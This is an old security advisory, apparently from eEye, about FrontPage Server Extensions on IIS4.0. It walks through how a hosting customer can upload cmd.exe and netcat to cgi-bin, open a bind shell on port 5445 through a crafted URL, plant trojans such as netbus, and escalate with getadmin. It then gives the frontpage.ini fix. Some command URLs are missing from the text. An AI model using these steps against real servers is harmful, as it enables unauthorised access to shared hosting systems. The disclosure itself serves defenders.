We've all seen the banners "Microsoft FrontPage Support!" and "Microsoft Certified Solution Provider." The brilliant people at Microsoft have done it again. To compete as a web hosting company you need to have FrontPage support. Microsoft has made an easy to use product that has been set as the standard for end-user web development. The other thing Microsoft has done again is designing a product that, from the get-go, is insecure.
In the past there have been papers written about insecure FrontPage server extensions and IIS3.0 but we haven't seen much information on FrontPage server extensions and IIS4.0. Most of the old FrontPage holes have been fixed. Let us backtrack a bit for those of you who might still be using IIS3.0 and FrontPage server extensions.
To make things easier we will refer to FrontPage Server Extensions as FSE. FSE on IIS3.0 by default gives the 'Everyone' group administrator access to your FrontPage Webs.
Some reasons why this is bad
Okay, so you've got IIS4.0 and the latest FSE release and you think it's been months since FSE was released so Microsoft would get it right by now. I wish we could say yes. The 'Everyone' group problem has been fixed and it is a bit harder for outside attackers to gain access to your system, but what about your competition? They would easily pay the 100 or so dollars to have an account with your web hosting company so their high-tech corporate criminal can take you out.
The best way I can think of for showing you, the reader, the insecurity with FSE/IIS4.0 is to show you how to break the security. If you would rather skip this part then just scroll down past this paragraph. So grab a coke and lets take you on a tour with a real-world, eEye client scenario.
Notes: This is a real audit eEye did except the names have been changed. company.com is the domain we purchased from example.com.
Client Address: example.com
We now launch FrontPage Explorer, connect to company.com with the login example.com provided. We then go to the cgi-bin directory and make sure the directory has 'Execute' permissions. You must now upload cmd.exe. This is an NT executable so if you do not have NT then get cmd.exe from a friend who has NT. Once you have uploaded cmd.exe you can do a few things:
1. Trojan the system with netbus, bo, etc..
Okay, so you have cmd.exe uploaded and maybe nc.exe (netcat) and netbus.exe. Now load a web browser and put in:
This should return a directory listing like you would get from a DOS prompt. Take a note of the path if it was c:, d: etc.. Now enter:
http://www.company.com/cgi-bin/cmd.exe?%20/c%20[path] \inetpub\wwwroot\cgi-bin\nc.exe -L -p 5445 -e cmd.exe
Where [path] is equal to the path returned from the dir command. You can now telnet to company.com on port 5445 and, if all went well, you will get a DOS prompt with IUSR_MACHINE access. From here you can do basically anything you want including exploits such as getadmin to add yourself to the administrator group and do whatever you please to the system. If you wanted to netbus the system you would enter the following URL into your web browser,
You could then connect to the system via netbus.
To put this all simply, any of example.com clients can gain access to the entire server.
To fix this problem we need to change some things in the frontpage.ini in the system directory.
NoExecutableCgiUpload is the key to fixing the problem. By default, after an initial install, the frontpage.ini file sets NoExecutableCgiUpload=0. Set this to 1 so authors cannot mark a directory as executable using FrontPage Explorer. You now also need to make sure that clients only have author access to their webs. This should be a good enough patch to tide you over. However, we suggest that you research and come up with your own way to fix the problem. Every network is different and some clients might require administrator access to their web
All trademarks are property of their respective owners or holders. Information subject to change without notice
Copyright © 2000 - 2015 AMT Software. All rights reserved.